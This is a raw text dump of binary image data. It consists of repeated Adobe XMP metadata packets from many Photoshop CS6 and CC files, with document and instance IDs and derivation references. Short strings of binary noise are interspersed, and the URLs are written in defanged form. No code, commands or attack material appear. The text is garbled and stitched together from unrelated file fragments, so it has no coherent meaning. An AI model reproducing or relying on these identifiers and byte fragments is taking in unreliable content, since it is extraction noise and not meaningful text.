" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EE6AECDA45CC11E3B836BB516AABA1DF" xmpMM:InstanceID="xmp.iid:EE5CBBDF45CC11E3B836BB516AABA1DF" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F75D9162CA45E311847E8D64EDAA5123" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E59C954B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E59C953B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>C?
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:65AE19C4468E11E39743DA09729C96A4" xmpMM:InstanceID="xmp.iid:65AE19C3468E11E39743DA09729C96A4" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FA58A5AE8646E3118471995BADE78732" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G*
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:4E9DED0A244911E495CCB346877FBEF5" xmpMM:InstanceID="xmp.iid:4E9DED09244911E495CCB346877FBEF5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:878e34f5-58a1-654a-90ac-e5dbbbdda1dd" stRef:documentID="xmp.did:268FE99B453211E387DE95891165466D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E773CD4B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E773CD3B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:9D14CFA7987711E3A103C46150CA3EAD" xmpMM:DocumentID="xmp.did:9D14CFA8987711E3A103C46150CA3EAD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9D14CFA5987711E3A103C46150CA3EAD" stRef:documentID="xmp.did:9D14CFA6987711E3A103C46150CA3EAD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>FD
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:DD7D6E67446111E4A510A23D5391F84B" xmpMM:InstanceID="xmp.iid:DD7D6E66446111E4A510A23D5391F84B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e3fc789b-cd51-9541-a670-cda01c77e459" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O
5|^~%uj
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:DCF1800D446111E4A510A23D5391F84B" xmpMM:InstanceID="xmp.iid:DCF1800C446111E4A510A23D5391F84B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e3fc789b-cd51-9541-a670-cda01c77e459" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
%Dp{ 
5s.KK3
Dy.OUS
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:DD7D6E6B446111E4A510A23D5391F84B" xmpMM:InstanceID="xmp.iid:DD7D6E6A446111E4A510A23D5391F84B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e3fc789b-cd51-9541-a670-cda01c77e459" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:DCF18011446111E4A510A23D5391F84B" xmpMM:InstanceID="xmp.iid:DCF18010446111E4A510A23D5391F84B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e3fc789b-cd51-9541-a670-cda01c77e459" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9" xmpMM:DocumentID="xmp.did:3F29F982A4CF11E3909AE61304A24B6F" xmpMM:InstanceID="xmp.iid:3F29F981A4CF11E3909AE61304A24B6F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5DB9FFBBCDA4E31187B0976FFF45D852" stRef:documentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>&Xx
%uLAXb7
X%x6b
=dXt
ySYsm%c
_w.Yv
tp(%X
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9" xmpMM:DocumentID="xmp.did:6F7BEA12A4CF11E3968DCA8441D13EF0" xmpMM:InstanceID="xmp.iid:6F7BEA11A4CF11E3968DCA8441D13EF0" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5DB9FFBBCDA4E31187B0976FFF45D852" stRef:documentID="xmp.did:16D9EB7845A4E3118965EB32B46A67B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
-%CZoU=2bc
u)j-u-.Tk
 W.q.Xp^
:S.JG
=.WZ8"
E)%sa
CmD'<
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:F0085034A40811E3B9E4DAD52ECA022B" xmpMM:InstanceID="xmp.iid:F0085033A40811E3B9E4DAD52ECA022B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a11fd78a-5b69-0841-9c16-18f80cba66d6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>i
@H.WH
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:42B3E68AA34211E3B8B0D34C37908291" xmpMM:InstanceID="xmp.iid:42B3E689A34211E3B8B0D34C37908291" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:15E26FDF3FA3E3118C3EFC12D9A61B0D" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>j
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:C5A1FC57A81411E3B9A2E75375FD436D" xmpMM:DocumentID="xmp.did:C5A1FC58A81411E3B9A2E75375FD436D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C5A1FC55A81411E3B9A2E75375FD436D" stRef:documentID="xmp.did:C5A1FC56A81411E3B9A2E75375FD436D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E59C958B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E59C957B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:EBEE7765AE8011E38E02D53C180CE3E4" xmpMM:DocumentID="xmp.did:EBEE7766AE8011E38E02D53C180CE3E4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:EBEE7763AE8011E38E02D53C180CE3E4" stRef:documentID="xmp.did:EBEE7764AE8011E38E02D53C180CE3E4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F4EB43BB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F4EB43AB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E59C95CB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E59C95BB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
niTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c3e9883d-d34a-c543-84b9-15cc13094150" xmpMM:DocumentID="xmp.did:C2439D4DB2FC11E3AA86F68DB9A9DA5E" xmpMM:InstanceID="xmp.iid:C2439D4CB2FC11E3AA86F68DB9A9DA5E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61B9FFBBCDA4E31187B0976FFF45D852" stRef:documentID="xmp.did:c3e9883d-d34a-c543-84b9-15cc13094150"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>q
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E948946B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E948945B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EABE22BB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EABE22AB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
-SV0}}p
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EABE227B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E948949B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:0A515B31179511E4AAA1B9DDED91C871" xmpMM:InstanceID="xmp.iid:0A515B30179511E4AAA1B9DDED91C871" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7e1abe7a-f845-fc46-a2af-fcf72510ab6b" stRef:documentID="xmp.did:4EABE227B64111E383108D1971A3EE62"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:64CB52FB5BE811E3ACF1EE72B22DD5CD" xmpMM:InstanceID="xmp.iid:64CB52FA5BE811E3ACF1EE72B22DD5CD" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5dc65625-57d9-454c-8055-df08935ed044" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>?
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9525D37E9F6F11E3A791EE0CF0524286" xmpMM:DocumentID="xmp.did:9717BE98278011E488D4BBA569B6CF10" xmpMM:InstanceID="xmp.iid:9717BE97278011E488D4BBA569B6CF10" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e097554d-b617-e94c-8004-c922a0cf0d68" stRef:documentID="xmp.did:9525D37E9F6F11E3A791EE0CF0524286"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L
&bJ-l}a
;l%FG
&%dP4
